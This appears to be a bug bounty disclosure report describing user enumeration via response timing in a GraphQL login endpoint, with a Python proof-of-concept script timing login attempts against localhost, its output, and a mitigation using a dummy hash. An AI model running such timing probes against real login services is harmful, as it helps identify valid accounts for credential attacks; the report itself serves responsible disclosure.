Lucene search

K
huntrVautiaB45AC489-7424-4AFA-9628-222E28152812
HistorySep 11, 2022 - 12:43 p.m.

User Enumeration via Response Timing

2022-09-1112:43:26
vautia
www.huntr.dev
9

Description

There is a significant timing difference in the login functionality for valid and invalid usernames.

Proof of Concept

Steps to reproduce:

1. Attempt a Login with a valid user and an invalid user and observe the difference in the response time

Here is a small test script (alternatively we can see the response time in Burp Repeater)

import requests

url = "http://127.0.0.1:8000/graphql"

valid_user = [{"operationName":None,"variables":{"username":"[email protected]","password":"abcd","strategy":"local"},"extensions":{},"query":"mutation ($username: String!, $password: String!, $strategy: String!) {\n  authentication {\n    login(username: $username, password: $password, strategy: $strategy) {\n      responseResult {\n        succeeded\n        errorCode\n        slug\n        message\n        __typename\n      }\n      jwt\n      mustChangePwd\n      mustProvideTFA\n      mustSetupTFA\n      continuationToken\n      redirect\n      tfaQRImage\n      __typename\n    }\n    __typename\n  }\n}\n"}]

invalid_user = [{"operationName":None,"variables":{"username":"[email protected]","password":"abcd","strategy":"local"},"extensions":{},"query":"mutation ($username: String!, $password: String!, $strategy: String!) {\n  authentication {\n    login(username: $username, password: $password, strategy: $strategy) {\n      responseResult {\n        succeeded\n        errorCode\n        slug\n        message\n        __typename\n      }\n      jwt\n      mustChangePwd\n      mustProvideTFA\n      mustSetupTFA\n      continuationToken\n      redirect\n      tfaQRImage\n      __typename\n    }\n    __typename\n  }\n}\n"}]

for _ in range(3):
    r = requests.post(url, json=valid_user, allow_redirects=False)
    print(r.elapsed.total_seconds())

print('---')

for _ in range(3):
    r = requests.post(url, json=invalid_user, allow_redirects=False)
    print(r.elapsed.total_seconds())

Test results:

$python3 timing.py 
0.276643
0.254176
0.251778
---
0.005052
0.004219
0.005233

We can see that there is a difference in response time of about 200ms. To account for inconsistencies in network traffic, the timing can be averaged over more than three requests to detect valid users reliably

Mitigation

This issue exists because a computationally expensive hash function is only executed when the username is valid. If the username is invalid, the hash function is not executed, resulting in the difference in response timing. In order to mitigate this, the hash function should be executed with a dummy input when the username does not exist.